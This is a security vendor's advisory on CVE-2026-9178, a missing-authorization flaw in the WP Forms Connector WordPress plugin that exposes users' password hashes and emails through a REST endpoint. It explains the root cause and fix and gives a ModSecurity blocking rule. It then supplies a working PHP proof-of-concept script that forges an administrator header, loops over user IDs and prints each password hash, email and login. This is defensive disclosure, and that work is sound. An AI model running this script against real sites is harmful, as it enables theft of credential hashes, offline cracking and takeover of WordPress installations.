Atomic Edge analysis of CVE-2026-9178 (metadata-based): This vulnerability allows unauthenticated attackers to extract sensitive user information from any WordPress site running the WP Forms Connector plugin version 1.8 or earlier. The flaw resides in a custom REST API endpoint that the plugin registers. The CVSS score of 7.5 (High) reflects the ease of exploitation (network-based, low complexity, no privileges required) and the high confidentiality impact.
The root cause is a missing authorization check (CWE-862) in the plugin’s REST route handler. The plugin registers the route ‘wp/v3/user/list/’ with a callback named userDetail(). The permission_callback is set to ‘__return_true’, which means WordPress itself performs no authorization. The plugin’s custom authentication logic checks for a ‘Username’ HTTP header and a ‘Password’ HTTP header. It verifies that the ‘Username’ header maps to an existing administrator account. However, it only checks that the ‘Password’ header is non-empty, failing to call wp_check_password() to validate the password against the stored hash. This is a critical authentication bypass. It is confirmed from the vulnerability description that the delete_wc_user() sibling function does use wp_check_password(), highlighting the inconsistency.
Exploitation requires a single HTTP GET request to the vulnerable REST endpoint. The attacker sends a request to /wp-json/wp/v3/user/list/ (note: some descriptions mention ‘wp/v3’, others ‘v3’ under the plugin namespace; the exact namespace should be inferred from the plugin’s route registration, likely ‘wp/v3’ or a variant). The attacker includes two HTTP headers: ‘Username: admin’ (or any known administrator username) and ‘Password: anything’ (any arbitrary string). The plugin then returns a JSON response containing the user’s data, including the WordPress user_pass hash and email address. The attacker can iterate through user IDs to dump all users. The specific user ID is appended to the endpoint URL as a path parameter.
The fix must implement proper WordPress authorization and authentication. The permission_callback should be changed from ‘__return_true’ to a function that verifies the current user has the required capability, such as ‘list_users’ or ‘edit_users’. The custom header-based authentication should be removed or replaced with standard WordPress nonce and cookie-based authentication. If header-based authentication is required, the plugin must call wp_check_password() to validate the supplied password against the stored hash for the given username. The plugin should also restrict the endpoint to return only safe user fields, excluding the password hash.
The impact is severe. An unauthenticated attacker can extract the password hash (user_pass) for every user on the site, including administrators. With the hash, the attacker can attempt offline password cracking. If the administrator uses a weak password, the attacker can compromise the entire WordPress installation. The exposed email addresses enable targeted phishing attacks. The vulnerability requires no prior access and can be automated with simple scripts.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@beginsWith /wp-json/wp/v3/user/list/" "id:20269178,phase:2,deny,status:403,chain,msg:'CVE-2026-9178 WP Forms Connector Information Exposure via REST endpoint',severity:'CRITICAL',tag:'CVE-2026-9178',tag:'wordpress',tag:'wp-forms-connector'"
SecRule REQUEST_METHOD "@streq GET" "chain"
SecRule REQUEST_HEADERS:Username "@rx ^[a-zA-Z0-9_-]+$" "chain"
SecRule REQUEST_HEADERS:Password "@rx .+" ""
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-9178 - WP Forms Connector <= 1.8 - Missing Authorization to Unauthenticated Information Exposure
// Configuration
$target_url = 'http://example.com'; // Change this to the target WordPress site URL
$admin_username = 'admin'; // Known administrator username (commonly 'admin')
$password_header = 'anything'; // Any arbitrary string works
$user_ids = range(1, 10); // Range of user IDs to enumerate
// Initialize cURL
$ch = curl_init();
foreach ($user_ids as $user_id) {
$endpoint = rtrim($target_url, '/') . '/wp-json/wp/v3/user/list/' . $user_id;
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Username: ' . $admin_username,
'Password: ' . $password_header,
'User-Agent: AtomicEdge-PoC/1.0',
]);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code == 200 && $response) {
$data = json_decode($response, true);
if ($data && isset($data['user_pass'])) {
echo "[+] User ID: $user_idn";
echo " user_pass: " . $data['user_pass'] . "n";
echo " user_email: " . ($data['user_email'] ?? 'N/A') . "n";
echo " user_login: " . ($data['user_login'] ?? 'N/A') . "n";
echo "n";
} elseif ($data) {
echo "[*] User ID $user_id: Response received but structure unexpected. Dumping data:n";
print_r($data);
} else {
echo "[-] User ID $user_id: Could not decode JSON responsen";
}
} elseif ($http_code == 404) {
echo "[-] User ID $user_id: Endpoint not found (404)n";
} elseif ($http_code == 403) {
echo "[-] User ID $user_id: Access denied (403)n";
} else {
echo "[-] User ID $user_id: HTTP $http_code - cURL error: " . curl_error($ch) . "n";
}
}
curl_close($ch);